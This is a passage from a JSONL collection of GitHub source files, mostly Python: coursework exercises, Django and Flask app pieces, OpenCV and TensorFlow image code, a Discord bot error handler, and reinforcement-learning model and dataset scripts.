EXIT\")\n\n\ndef gcd_(el, el2):\n while el != 0 and el2 != 0:\n if el > el2:\n el = el % el2\n else:\n el2 = el2 % el\n return el + el2\n\n \ndef pair_gcd(mas, n):\n print(\"Pair:\", '\\t\\t\\t', \"GCD:\")\n i = 0\n for i in Iterator(i, n):\n for j in Iterator(i + 1, n):\n el = mas[i]\n el_2 = mas[j]\n print(el, \" and \", el_2, end='\\t\\t\\t')\n print(gcd_(el, el_2))\n\n\ndef mas_with_iterator(n, a, b):\n iterator = Iterator_random(n, a, b)\n mas = []\n for i in iterator:\n mas.append(i)\n return mas\n\n\ndef mas_with_generator(n, a, b):\n mas = []\n for i in generator(n, a, b):\n mas.append(i)\n return mas\n\n\ndef validation(message, choice = \" \"):\n while True:\n try:\n el = int(input(message))\n if choice == \"no_neg\":\n if el <= 0:\n print(\"Number must be positive! Please, try again\")\n continue\n if choice == \"for_response\":\n if el >= 3 or el < 0:\n print(\"The value is incorrect. Please, try again\")\n continue\n break\n except ValueError:\n print(\"Number must be an integer! Please, try again\")\n continue\n return el\n\n\ndef menu():\n while True:\n options()\n response = validation(\"Your choice: \", choice=\"for_response\")\n if response == 0:\n print(\"Thank you for attention!\")\n break\n n = validation(\"Enter n: \", choice=\"no_neg\")\n while True:\n try:\n a = validation(\"Enter the lower limit: \", choice=\"no_neg\")\n b = validation(\"Enter the upper limit: \", choice=\"no_neg\")\n if a > b:\n print(\"Lower limit > Upper limit! Please, try again.\")\n continue\n break\n except ValueError:\n print(\"Number must be an integer! Please, try again\")\n continue\n if response == 1:\n mas = mas_with_iterator(n, a, b)\n print(mas)\n pair_gcd(mas, n)\n if response == 2:\n mas = mas_with_generator(n, a, b)\n print(mas)\n pair_gcd(mas, n)\n\n\nmenu()\n","repo_name":"ValeriaMahdenko/ProgrammingTasks_PMI-23","sub_path":"Python/Practica_4/task.py","file_name":"task.py","file_ext":"py","file_size_in_byte":3028,"program_lang":"python","lang":"uk","doc_type":"code","stars":1,"dataset":"github-code","pt":"31"} +{"seq_id":"31311159599","text":"from django.urls import path, re_path\nfrom user.views import RegisterView, LoginView, ActiveView, UserInfoView, UserOrderView, AddressView, LogoutView\n\napp_name = 'user'\nurlpatterns = [\n re_path(r'register$', RegisterView.as_view(), name='register'),\n path('active/', ActiveView.as_view(), name='register_handle'),\n re_path(r'login$', LoginView.as_view(), name='login'),\n re_path(r'logout$', LogoutView.as_view(), name='logout'),\n re_path(r'order/(?P[0-9]+)$', UserOrderView.as_view(), name='order'),\n path('address', AddressView.as_view(), name='address'),\n path('', UserInfoView.as_view(), name='info'),\n]\n","repo_name":"hezudao25/dailyfresh","sub_path":"apps/user/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":646,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"11717699849","text":"\"\"\"\nПеремещение с применением метода widget.after() вместо циклов time.sleep\n\nАналогично примеру example_09_30, но с применением метода widget.after() вместо циклов time.sleep;\nПоскольку это планируемые события, появляется возможность перемещать овалы и\nпрямоугольники _одновременно_ и отпадает необходимость вызывать метод update\nдля обновления графического интерфейса;\nДвижение станет беспорядочным, если еще раз нажать ‘o’ или ‘r’ в процессе\nвоспроизведения анимации: одновременно начнут выполняться несколько операций перемещения;\n\nЭта версия наследует все изменения из предыдущей версии и при этом позволяет перемещать\nовалы и прямоугольники одновременно – нарисуйте несколько овалов и прямоугольников,\nа затем нажмите клавишу O и затем сразу клавишу R. Попробуйте нажать обе клавиши несколько\nраз – чем больше нажатий, тем интенсивнее движение, потому что генерируется много событий,\nперемещающих объекты из того места, в котором они находятся. Если во время перемещения\nнарисовать новую фигуру, она, как и раньше, начнет перемещаться немедленно.\n\"\"\"\nfrom tkinter import *\nimport example_09_30\n\nclass CanvasEventsDemo(example_09_30.CanvasEventsDemo):\n def moveEm(self, tag, moremoves):\n (diffx, diffy), moremoves = moremoves[0], moremoves[1:]\n self.canvas.move(tag, diffx, diffy)\n if moremoves:\n self.canvas.after(250, self.moveEm, tag, moremoves)\n\n def moveInSquares(self, tag):\n allmoves = [(+20, 0), (0, +20), (-20, 0), (0, -20)] * 5\n self.moveEm(tag, allmoves)\n\nif __name__ == '__main__':\n CanvasEventsDemo()\n mainloop()\n","repo_name":"alexsvirel/lutz_programming_python_t1","sub_path":"lutz_program_t1_ch09_tkinter/example_09_31.py","file_name":"example_09_31.py","file_ext":"py","file_size_in_byte":2417,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"1924580006","text":"\"\"\"\nImage Segmentation using Color Spaces\n\"\"\"\n\nimport cv2 as opencv\nimport numpy as np \n\nimage = opencv.imread('images/beautiful-water-drop-on-dandelion-260nw-789676552.jpg')\nopencv.imshow('Test Image',image)\nopencv.waitKey(0)\n\nimage_hsv = opencv.cvtColor(image,opencv.COLOR_BGR2HSV)\nopencv.imshow('Image converted to HSV format',image_hsv)\nopencv.waitKey(0)\n\n# Threshold of blue in HSV space \nlower_blue = np.array([35, 140, 60]) \nupper_blue = np.array([255, 255, 180]) \n\n# preparing the mask to overlay \nmask = opencv.inRange(image_hsv, lower_blue, upper_blue) \n\nresult = opencv.bitwise_and(image,image,mask=mask)\nopencv.imshow(\"Resulted Image\",result)\nopencv.waitKey(0)\n\nopencv.destroyAllWindows()\n\n\n","repo_name":"amrit2356/Dev-Training-Open-CV","sub_path":"03_Digital_Image_Processing/03_1_Image_Segmentation/02_OpenCV_img_seg_colorspace.py","file_name":"02_OpenCV_img_seg_colorspace.py","file_ext":"py","file_size_in_byte":703,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"20070728290","text":"#Reverse a tuple.\r\n\r\nl=[]\r\nn=int(input(\"Enter number of elements:\"))\r\nfor i in range(n):\r\n l.append(input(\"Enter element:\"))\r\nt=tuple(l)\r\nprint(\"Tuple:\",t)\r\nfor i in range(len(l)//2):\r\n l[i],l[len(l)-1-i]=l[len(l)-1-i],l[i]\r\nprint(\"Tuple after reversing:\",tuple(l))\r\n \r\n","repo_name":"SandiptaGhos/python","sub_path":"reversetuple.py","file_name":"reversetuple.py","file_ext":"py","file_size_in_byte":279,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"4468720130","text":"\nimport pandas as pd\nimport numpy as np\n\n# reads files as exported from https://apps.automeris.io/wpd/\ndef read_wpd_outputs(ppath, dataname, xheading, yheading):\n df=pd.read_csv(ppath)\n\n segments=[]\n for n in np.arange((len(df.columns)/2)):\n seg=df.iloc[1:, 0+int(n*2):2+int(n*2)]\n tracename=seg.columns[0]\n seg['trace']=tracename\n seg['dataset'] = dataname\n seg.columns=[xheading, yheading, 'trace','dataset']\n segments.append(seg)\n df = pd.concat(segments,axis=0)\n #cast to numeric, ignore errors\n df = df.apply(pd.to_numeric, errors='ignore') \n return df","repo_name":"Rory-Lambert/RLTools","sub_path":"RLtools/DataProcessing/web_plot_digitizer/web_plot_digitizer.py","file_name":"web_plot_digitizer.py","file_ext":"py","file_size_in_byte":623,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"35501692535","text":"import sys\nimport traceback\nimport discord\nfrom discord.ext import commands, tasks\nfrom utils import usefull, permissions\n\nc = usefull.colors\n\nclass Events(commands.Cog):\n\tdef __init__(self, bot):\n\t\tself.bot = bot\n\n\t# This uses lots of code from here: https://gist.github.com/EvieePy/7822af90858ef65012ea500bcecf1612\n\t@commands.Cog.listener()\n\tasync def on_command_error(self, ctx, err):\n\n\t\t# this stops this from handling commands that have their own specififc error handlers\n\t\tif hasattr(ctx.command, 'on_error'):\n\t\t\treturn\n\n\t\t# Errors to ignore\n\t\tignored = (commands.CommandNotFound, commands.TooManyArguments)\n\n\t\t# Get original error\n\t\terr = getattr(err, 'original', err)\n\n\t\t# Ignore ignored errors\n\t\tif isinstance(err, ignored):\n\t\t\treturn\n\n\t\t# H A N D L E R S\n\t\tif (isinstance(err, commands.MissingRequiredArgument)):\n\t\t\tawait ctx.error(ctx.strings.ERR_COMMAND_MISSING_REQ_PARAM.format(err))\n\t\telif (isinstance(err, commands.ArgumentParsingError)):\n\t\t\tawait ctx.error(ctx.strings.ERR_COMMAND_ARG_PARSE.format(err))\n\t\telif (isinstance(err, commands.PrivateMessageOnly)):\n\t\t\tawait ctx.error(ctx.strings.ERR_COMMAND_DM_ONLY.format(err))\n\t\telif (isinstance(err, commands.NoPrivateMessage)):\n\t\t\tawait ctx.error(ctx.strings.ERR_COMMAND_NO_DM.format(err))\n\t\telif (isinstance(err, commands.DisabledCommand)):\n\t\t\tawait ctx.error(ctx.strings.ERR_COMMAND_DISABLED.format(err))\n\t\telif (isinstance(err, commands.CommandOnCooldown)):\n\t\t\tawait ctx.error(ctx.strings.ERR_COMMAND_ON_COOLDOWN.format(err))\n\t\telif (isinstance(err, commands.MemberNotFound)):\n\t\t\tawait ctx.error(ctx.strings.ERR_COMMAND_MEMBER_NOT_FOUND.format(err))\n\t\telif (isinstance(err, permissions.AuthorLacksPermssions)):\n\t\t\tawait ctx.error(ctx.strings.ERR_COMMAND_AUTHOR_LACKS_PERMS.format(err))\n\t\telif (isinstance(err, permissions.BotLacksPermssions)):\n\t\t\tawait ctx.error(ctx.strings.ERR_COMMAND_BOT_LACKS_PERMS.format(err))\n\t\telif (isinstance(err, commands.UserNotFound)):\n\t\t\tawait ctx.error(ctx.strings.ERR_USER_NOT_FOUND.format(err))\n\t\telif (isinstance(err, commands.NotOwner)):\n\t\t\tawait ctx.error(ctx.strings.ERR_NOT_OWNER.format(err))\n\t\telif (isinstance(err, discord.NotFound)):\n\t\t\tawait ctx.error(ctx.strings.ERR_FORBIDDEN.format(err))\n\t\telif (isinstance(err, discord.Forbidden)):\n\t\t\tawait ctx.error(ctx.strings.ERR_FORBIDDEN.format(err))\n\t\telse:\n\t\t\tif (self.bot.dev):\n\t\t\t\ttracebackString = \"\".join(traceback.format_exception(type(err), err, err.__traceback__))\n\t\t\t\tawait ctx.warning(f\"Ignoring exception in command {ctx.command}:\")\n\t\t\t\tawait ctx.send(f\"```py\\n{tracebackString}\\n```\")\n\t\t\telse:\n\t\t\t\tawait ctx.error(ctx.strings.ERR)\n\t\t\t\tprint(f\"{c.FAIL}Ignoring exception in command {ctx.command}{c.END}:\", file=sys.stderr)\n\t\t\t\ttraceback.print_exception(type(err), err, err.__traceback__, file=sys.stderr)\n\n\ndef setup(bot):\n bot.add_cog(Events(bot))\n","repo_name":"edazpotato/usefull-discord-bot","sub_path":"cogs/event.py","file_name":"event.py","file_ext":"py","file_size_in_byte":2816,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"31"} +{"seq_id":"71923687129","text":"import math\nfrom typing import List, Optional\nimport tensorflow as tf\n\nfrom rocket.dataset import Parser\nfrom rocket.model.ops import augment_ops\n\n\ndef decode_cyto_self_data(serialized_example):\n keys_to_features = {\n 'image/height': tf.io.FixedLenFeature((), tf.int64, default_value=-1),\n 'image/width': tf.io.FixedLenFeature((), tf.int64, default_value=-1),\n 'image/protein': tf.io.FixedLenSequenceFeature((), tf.float32, allow_missing=True),\n 'image/nucleus': tf.io.FixedLenSequenceFeature((), tf.float32, allow_missing=True),\n 'image/nuclear/distance': tf.io.FixedLenSequenceFeature((), tf.float32, allow_missing=True),\n 'image/class/label': tf.io.FixedLenFeature((), tf.int64, default_value=-1),\n 'image/class/name': tf.io.FixedLenFeature((), tf.string, default_value=''),\n 'image/class/text': tf.io.FixedLenFeature((), tf.string, default_value=''),\n 'image/localization/label': tf.io.FixedLenFeature((), tf.int64, default_value=-1),\n 'image/localization/text': tf.io.FixedLenFeature((), tf.string, default_value=''),\n }\n return tf.io.parse_single_example(serialized_example, keys_to_features)\n\n\nclass CytoSelfParser(Parser):\n\n def __init__(self,\n output_size: List[int],\n image_channels: List[str] = ['protein', 'nuclear_distance'],\n trains_proteins: Optional[List[str]] = None,\n aug_rand_flip: bool = True,\n additional_information: bool = False,\n dtype: str = 'float32',\n seed: int = 42):\n self._output_size = output_size\n self._image_channels = image_channels\n if not isinstance(image_channels, (list, tuple)):\n self._image_channels = [image_channels]\n self._aug_rand_flip = aug_rand_flip\n self._dtype = dtype\n self._seed = seed\n self._trains_proteins = trains_proteins\n # This only works for the test mode.\n # Add the additional information like location.\n self._additional_information = additional_information\n\n self._key_dict = {\n 'protein': 'image/protein',\n 'nucleus': 'image/nucleus',\n 'nuclear_distance': 'image/nuclear/distance',\n }\n\n def _process_image(self, image):\n image = tf.image.resize(\n image, self._output_size, method=tf.image.ResizeMethod.BILINEAR)\n image = tf.image.convert_image_dtype(image, self._dtype)\n return image\n\n def _decode_channel(self, decoded_tensors, key, width, height):\n c = tf.cast(decoded_tensors[key], tf.float32)\n if key == self._key_dict['nuclear_distance']:\n # https://github.com/royerlab/cytoself/issues/7\n # The idea of making the nuclear distance in [-1, 1] was because,\n # without rescaling, the large values in the nuclear distance channel\n # would overwhelm other channels, resulting in unsuccessful training.\n c = c * 0.01\n return tf.reshape(c, [width, height])\n\n def _parse_train_data(self, decoded_tensors):\n width = tf.cast(decoded_tensors['image/width'], tf.int64)\n height = tf.cast(decoded_tensors['image/height'], tf.int64)\n\n image_channels = [self._decode_channel(\n decoded_tensors,\n self._key_dict[c],\n width, height) for c in self._image_channels]\n image = tf.stack(image_channels, axis=-1)\n if self._trains_proteins is None:\n label = decoded_tensors['image/class/label']\n else:\n label = tf.cast(decoded_tensors['image/class/name'], str)\n label = self._trains_proteins.index(label)\n\n if self._aug_rand_flip:\n degrees = tf.random.uniform([], 0, 360, tf.float32)\n image = augment_ops.rotate(image, degrees)\n image = tf.image.random_flip_left_right(image, seed=self._seed)\n image = tf.image.random_flip_up_down(image, seed=self._seed)\n\n image = self._process_image(image)\n return image, label\n\n def _parse_validation_data(self, decoded_tensors):\n width = tf.cast(decoded_tensors['image/width'], tf.int64)\n height = tf.cast(decoded_tensors['image/height'], tf.int64)\n image_channels = [self._decode_channel(\n decoded_tensors,\n self._key_dict[c],\n width, height) for c in self._image_channels]\n image = tf.stack(image_channels, axis=-1)\n label = decoded_tensors['image/class/label']\n if self._additional_information:\n label = {\n 'label': label,\n 'ensg': decoded_tensors['image/class/name'],\n 'protein': decoded_tensors['image/class/text'],\n 'localization': decoded_tensors['image/localization/label'],\n 'localization_text': decoded_tensors['image/localization/text'],\n }\n\n image = self._process_image(image)\n return image, label\n","repo_name":"exogeny/rocket","sub_path":"satellite/project/cytoself/dataset.py","file_name":"dataset.py","file_ext":"py","file_size_in_byte":4613,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"13277840672","text":"class Solution(object):\n def majorityElement(self, nums):\n \"\"\"\n get the majority element, since majority element is more than [n/2], so when the element is majority elemnt, it will be positive, if not, it will be negative. so ,after all , the last\n positive number is majority element\n :type nums: List[int]\n :rtype: int\n \"\"\"\n # assume that the first element is the majority\n maj_ele = nums[0]\n ele_count = 1\n num_len = len(nums)\n for i in range(1, num_len):\n if ele_count == 0:\n maj_ele = nums[i]\n ele_count = 1\n elif maj_ele == nums[i]:\n ele_count += 1\n else:\n ele_count -= 1\n\n return maj_ele\n","repo_name":"SuperMartinYang/learning_algorithm","sub_path":"leetcode/easy/majority_element.py","file_name":"majority_element.py","file_ext":"py","file_size_in_byte":775,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"38527383015","text":"import cv2\nimport numpy as np\n\n\nclass FeatureUtils(object):\n\n def canny(self, img):\n canny = cv2.Canny(img, 100, 200)\n res = cv2.cvtColor(canny, cv2.COLOR_BGR2RGB)\n return res\n\n def sobel(self, img):\n x = cv2.Sobel(img, cv2.CV_16S, 1, 0)\n y = cv2.Sobel(img, cv2.CV_16S, 0, 1)\n\n absX = cv2.convertScaleAbs(x)\n absY = cv2.convertScaleAbs(y)\n\n dst = cv2.addWeighted(absX, 0.5, absY, 0.5, 0)\n return dst\n\n def laplacian(self, img):\n # out = cv2.GaussianBlur(img, (3, 3), 1.3)\n gray_lap = cv2.Laplacian(img, cv2.CV_16S, 1.3)\n dst = cv2.convertScaleAbs(gray_lap)\n return dst\n\n def harris(self, img):\n imgray = cv2.cvtColor(img, cv2.COLOR_BGR2GRAY)\n gray = np.float32(imgray)\n dst = cv2.cornerHarris(gray, 8, 3, 0.04)\n dst = cv2.dilate(dst, None)\n ret, dst = cv2.threshold(dst, 0.005 * dst.max(), 255, 0)\n dst = np.uint8(dst)\n ret, labels, stats, centroids = cv2.connectedComponentsWithStats(dst)\n criteria = (cv2.TERM_CRITERIA_EPS + cv2.TERM_CRITERIA_MAX_ITER, 100, 0.001)\n corners = cv2.cornerSubPix(gray, np.float32(centroids), (5, 5), (-1, -1), criteria)\n res = np.hstack((centroids, corners))\n res = np.int0(res)\n for i in res:\n x1, y1, x2, y2 = i.ravel()\n # cv2.circle(img, (x1, y1), 3, 255, -1)\n cv2.circle(img, (x2, y2), 3, (0, 255, 0), -1)\n image = img[:, :, ::-1]\n image = image.copy()\n image = cv2.cvtColor(image, cv2.COLOR_BGR2RGB)\n return image\n\n def fast(self, img):\n image1 = cv2.cvtColor(img, cv2.COLOR_BGR2RGB)\n fast = cv2.FastFeatureDetector_create()\n kp = fast.detect(image1, None)\n frame = cv2.drawKeypoints(image1, kp, None, color=(0, 255, 0))\n image = frame[:, :, ::-1]\n image = image.copy()\n return image\n\n def tomasi(self, img):\n gray = cv2.cvtColor(img, cv2.COLOR_BGR2GRAY)\n corners = cv2.goodFeaturesToTrack(gray, 72, 0.01, 10)\n corners = np.int0(corners)\n for i in corners:\n x, y = i.ravel()\n cv2.circle(img, (x, y), 3, 255, -1)\n cv2.circle(img, (x, y), 3, (0, 255, 0), -1)\n image = img[:, :, ::-1]\n image = image.copy()\n image = cv2.cvtColor(image, cv2.COLOR_BGR2RGB)\n return image\n\n def hough_detection(self, img):\n gray = cv2.cvtColor(img, cv2.COLOR_BGR2GRAY)\n thresh = cv2.threshold(gray, 0, 255, cv2.THRESH_BINARY_INV + cv2.THRESH_OTSU)[1]\n circles = cv2.HoughCircles(thresh, cv2.HOUGH_GRADIENT, 1, minDist=150, circles=None, param1=200, param2=18,\n maxRadius=40, minRadius=20)\n if circles is not None:\n circles = np.round(circles[0, :]).astype(\"int\")\n for (x, y, r) in circles:\n cv2.circle(img, (x, y), r, (36, 255, 12), 3)\n image = img[:, :, ::-1]\n image = image.copy()\n return image\n\n def hough_detection(self, img, minr, maxr):\n gray = cv2.cvtColor(img, cv2.COLOR_BGR2GRAY)\n thresh = cv2.threshold(gray, 0, 255, cv2.THRESH_BINARY_INV + cv2.THRESH_OTSU)[1]\n circles = cv2.HoughCircles(thresh, cv2.HOUGH_GRADIENT, 1, minDist=150, circles=None, param1=200, param2=18,\n maxRadius=maxr, minRadius=minr)\n if circles is not None:\n circles = np.round(circles[0, :]).astype(\"int\")\n for (x, y, r) in circles:\n cv2.circle(img, (x, y), r, (36, 255, 12), 3)\n image = img[:, :, ::-1]\n image = image.copy()\n return image\n","repo_name":"Feng153/pythonProject1","sub_path":"utils/feature_util.py","file_name":"feature_util.py","file_ext":"py","file_size_in_byte":3673,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"31"} +{"seq_id":"32720633433","text":"from ..models import transacao_model, conta_model\nfrom api import db\nfrom .conta_service import alterar_saldo_conta\n\ndef cadastrar_transacao(transacao):\n transacao_bd = transacao_model.Transacao(nome=transacao.nome, descricao=transacao.descricao,\n valor=transacao.valor, tipo=transacao.tipo, conta_id=transacao.conta)\n db.session.add(transacao_bd)\n db.session.commit()\n alterar_saldo_conta(transacao.conta, transacao, 1)\n return transacao_bd\n\ndef listar_transacoes(usuario):\n transacoes = transacao_model.Transacao.query.join(conta_model.Conta).filter_by(usuario_id=usuario).all()\n # transacoes = transacao_model.Transacao.query.all()\n return transacoes\n\ndef listar_transacao_id(id):\n transacao = transacao_model.Transacao.query.filter_by(id=id).first()\n return transacao\n\ndef editar_transacao(transacao_bd, transacao_nova):\n valor_antigo = transacao_bd.valor\n transacao_bd.nome = transacao_nova.nome\n transacao_bd.descricao = transacao_nova.descricao\n transacao_bd.valor = transacao_nova.valor\n transacao_bd.tipo = transacao_nova.tipo\n transacao_bd.conta = transacao_nova.conta\n db.session.commit()\n alterar_saldo_conta(transacao_nova.conta, transacao_nova, 2, valor_antigo)\n return transacao_bd\n\ndef remover_transacao(transacao):\n db.session.delete(transacao)\n db.session.commit()\n alterar_saldo_conta(transacao.conta_id, transacao, 3)","repo_name":"treinaweb/treinaweb-flask-api-gerenciamento-gastos-pessoais","sub_path":"services/transacao_service.py","file_name":"transacao_service.py","file_ext":"py","file_size_in_byte":1438,"program_lang":"python","lang":"pt","doc_type":"code","stars":3,"dataset":"github-code","pt":"31"} +{"seq_id":"20157252057","text":"weight = 41.5\ncost_ground = 0\n#ground shipping\nif weight <= 2:\n cost_ground = weight * 1.5 +20\nelif weight > 2 and weight <= 6:\n cost_ground = weight * 3 +20\nelif weight > 6 and weight <= 10:\n cost_ground = weight * 4 +20\nelif weight > 10:\n cost_ground = weight * 4.75 +20\nprint(\"Ground Shipping: $\", cost_ground)\n\n#premium ground shipping\ncost_prem = 125.00\nprint(\"Ground Shipping Premium: $\", cost_prem)\n\n#drone shipping\ncost_drone = 0\nif weight <= 2:\n cost_drone = weight * 4.5 \nelif weight > 2 and weight <= 6:\n cost_drone = weight * 9.00 \nelif weight > 6 and weight <= 10:\n cost_drone = weight * 12 \nelif weight > 10:\n cost_drone = weight * 14.25\nprint(\"Drone Shipping: $\", cost_drone)","repo_name":"Sin-Aman/CodeAcademy-Python-projects","sub_path":"shipping.py","file_name":"shipping.py","file_ext":"py","file_size_in_byte":696,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"39963953482","text":"\"\"\"Added revision capabilities to UserAnnotation\n\nRevision ID: c3d10b530b8c\nRevises: ad2acb6301af\nCreate Date: 2020-07-01 20:59:34.969422\n\n\"\"\"\nfrom alembic import op\nimport sqlalchemy as sa\n\n\n# revision identifiers, used by Alembic.\nrevision = 'c3d10b530b8c'\ndown_revision = 'ad2acb6301af'\nbranch_labels = None\ndepends_on = None\n\n\ndef upgrade():\n # ### commands auto generated by Alembic - please adjust! ###\n op.add_column('user_annotation', sa.Column('decision', sa.Integer(), nullable=True))\n op.add_column('user_annotation', sa.Column('reviewed', sa.Boolean(), nullable=False))\n op.add_column('user_annotation', sa.Column('reviewed_by', sa.Integer(), nullable=True))\n op.create_foreign_key(None, 'user_annotation', 'app_user', ['reviewed_by'], ['id'])\n # ### end Alembic commands ###\n\n\ndef downgrade():\n # ### commands auto generated by Alembic - please adjust! ###\n op.drop_constraint(None, 'user_annotation', type_='foreignkey')\n op.drop_column('user_annotation', 'reviewed_by')\n op.drop_column('user_annotation', 'reviewed')\n op.drop_column('user_annotation', 'decision')\n # ### end Alembic commands ###\n","repo_name":"nutcrackerugr/labelling-tool","sub_path":"migrations/versions/c3d10b530b8c_added_revision_capabilities_to_.py","file_name":"c3d10b530b8c_added_revision_capabilities_to_.py","file_ext":"py","file_size_in_byte":1147,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"41546601525","text":"# Sorting을 하자\n# 작은 것 부터, 작다면 키로당 가치가 큰 것부터\n#from heapq import heappush, heappop\n\nfrom pprint import pprint\nN, K = tuple(map(int, input().split()))\n\nthings = []\n\nfor _ in range(N):\n w, k = tuple(map(int, input().split()))\n data = (w, k)\n things.append(data)\n\ndp = [[0] * (N + 1) for _ in range(K+1)]\n\nfor cur_weight in range(1, K+1):\n for i in range(1, N+1):\n w, v = things[i-1]\n if cur_weight >= w:\n dp[cur_weight][i] = max(dp[cur_weight][i-1], dp[cur_weight-w][i-1] + v)\n else:\n dp[cur_weight][i] = dp[cur_weight][i-1]\n\n\nmax_val = 0\nfor r in range(len(dp)):\n for c in range(len(dp[0])):\n if max_val < dp[r][c]:\n max_val = dp[r][c]\n\n#pprint(dp)\nprint(max_val)\n\n\"\"\"\nfor i in range(1, N+1):\n value, weight = things[i-1]\n value = -value\n # Measure the max when included\n for k in range(2):\n candidates_included = []\n for j in range(i):\n w, v = dp[j]\n if w + weight <= K:\n heappush(candidates_included, (-(v + value), w+weight))\n v_i, w_i = heappop(candidates_included)\n v_i = -v_i\n if dp[i-1][1] >= v_i:\n dp[i] = dp[i-1]\n else:\n dp[i] = (w_i, v_i)\n\nmax_val = 0\nfor _, value in dp:\n if value > max_val:\n max_val = value\n\nprint(max_val)\n\n\"\"\"\n\n\n","repo_name":"KUSTAT/Algorithm_study","sub_path":"진성/5주차 DP/12865.py","file_name":"12865.py","file_ext":"py","file_size_in_byte":1416,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"14695911916","text":"import torch\nimport torch.nn as nn\nimport torch.nn.functional as F\n\n\"\"\"\nUnity Network\n\"\"\"\n\nclass QNetwork(nn.Module):\n\n def __init__(self, state_size, action_size, seed, duel=False):\n \"\"\"Initialize parameters and build model.\n Params\n ======\n state_size (int): Dimension of each state\n action_size (int): Dimension of each action\n seed (int): Random seed\n \"\"\"\n super(QNetwork, self).__init__()\n self.duel = duel\n\n self.seed = torch.manual_seed(seed)\n\n self.fc1 = nn.Linear(state_size, 64)\n\n self.fc2 = nn.Linear(64, 64) #-> common\n\n # 2 output channels (for the action_size classes)\n self.fc4a = nn.Linear(64, action_size)\n\n ####################################\n\n self.fc2v = nn.Linear(64, 64)\n\n # 2 output channels (for the 1 on/off classes)\n self.fc4v = nn.Linear(64, 1)\n\n def forward(self, state):\n \"\"\"Build a network that maps state -> action values.\"\"\"\n x = state\n\n # one linear relu layer\n x = F.relu(self.fc1(x))\n\n # one linear relu layer for action\n common_out = F.relu(self.fc2(x))\n\n # one linear output layer for action\n a = self.fc4a(common_out)\n\n # if duel network is applied\n if self.duel:\n # for actions\n # one linear layer\n v = F.relu(self.fc2v(common_out))\n\n v = self.fc4v(v)\n\n a_adj = a - a.mean()\n\n out = v + a_adj\n else:\n out = a\n\n # final output\n return out\n","repo_name":"chihoxtra/reinforcement_learning","sub_path":"model_fc_unity.py","file_name":"model_fc_unity.py","file_ext":"py","file_size_in_byte":1590,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"13732485646","text":"# 13.5 : 문자열 대체하기\r\n\r\ntry :\r\n # 파일이름, 교체전 문자열, 교체될 문자열을 입력받는다.\r\n filename = input(\"파일명을 입력하세요 : \")\r\n st1 = input(\"교체될 이전 문자열을 입력하세요 : \")\r\n st2 = input(\"이전 문자열을 대체할 새로운 문자열을 입력하세요 : \")\r\n\r\n # 파일을 읽기 용도로 연다.\r\n infile = open(filename, \"r\")\r\n\r\n # content1 : 교체전 파일의 내용을 저장한 리스트\r\n # content2 : 교체후 파일의 내용을 저장할 리스트\r\n content1 = [] + infile.readlines()\r\n content2 = []\r\n\r\n # content1의 개수(파일의 line 수)만큼 반복문 실행\r\n for i in range(len(content1)) :\r\n line = content1[i] # i번째 내용을 문자열로 저장\r\n newline = line.replace(st1, st2) # st1을 st2로 교체 후 저장\r\n content2.append(newline) # 교체된 문자열을 content2에 추가\r\n \r\n infile.close() # 파일 닫기\r\n\r\n # 파일을 쓰기 용도로 연다. (기존의 파일은 덮어쓴다.)\r\n outfile = open(filename, \"w\")\r\n\r\n # content2의 개수(파일의 line 수)만큼 반복문 실행\r\n for i in range(len(content2)) :\r\n outfile.write(content2[i]) # 파일에 내용을 쓴다.\r\n\r\n outfile.close() # 파일 닫기\r\n \r\n print(\"완료되었습니다.\") # 완료 메시지\r\n\r\nexcept IOError : # 파일이 없을 경우 에러메시지\r\n print(\"파일이 존재하지 않습니다.\")\r\n","repo_name":"ChoiHyeongGeun/ScriptProgramming","sub_path":"Practice/#9/Problem13.5.py","file_name":"Problem13.5.py","file_ext":"py","file_size_in_byte":1497,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"36388012656","text":"import numpy as np\nimport torch\nfrom torch.utils.data import TensorDataset, DataLoader, random_split\nfrom envs import *\nfrom datetime import datetime\nfrom d3rlpy.dataset import MDPDataset\n\n\ndef build_dataset(env, filename=None, **kwargs):\n if filename is None:\n N_eps = int(1e3)\n steps_per_eps = 50\n # env = SimplePhyEnv(x0=np.random.randn(4,1)*2)\n \n dataset = collect_data(env, N_eps, steps_per_eps)\n dt = datetime.now().strftime(\"%d-%m-%Y_%H:%M:%S\")\n filename = \"data/Dataset_\"+dt+\".h5\"\n dataset.dump(filename)\n else:\n dataset = MDPDataset.load(filename)\n \n # Split episodes in N_frames samples\n L = 5\n S = 5\n \n obs = np.concatenate(tuple([torch.from_numpy(e.observations).unfold(0,L,S).numpy().transpose(0,2,1)\n for e in dataset.episodes]))\n act = np.concatenate(tuple([torch.from_numpy(e.actions).unfold(0,L,S).numpy().transpose(0,2,1)\n for e in dataset.episodes]))\n rwd = np.concatenate(tuple([torch.from_numpy(e.rewards).unfold(0,L,S).numpy()\n for e in dataset.episodes]))\n \n return obs, act, rwd\n \ndef build_dataloader(obs,act,rwd):\n ds = TensorDataset(torch.Tensor(obs), torch.Tensor(act), torch.Tensor(rwd))\n # Split between training and test\n L = len(ds)\n trainL = int(np.floor(.8*L))\n train_ds, test_ds = random_split(ds, [trainL, L-trainL]) # later define rng generator!\n # Create dataloaders\n train_dataloader = 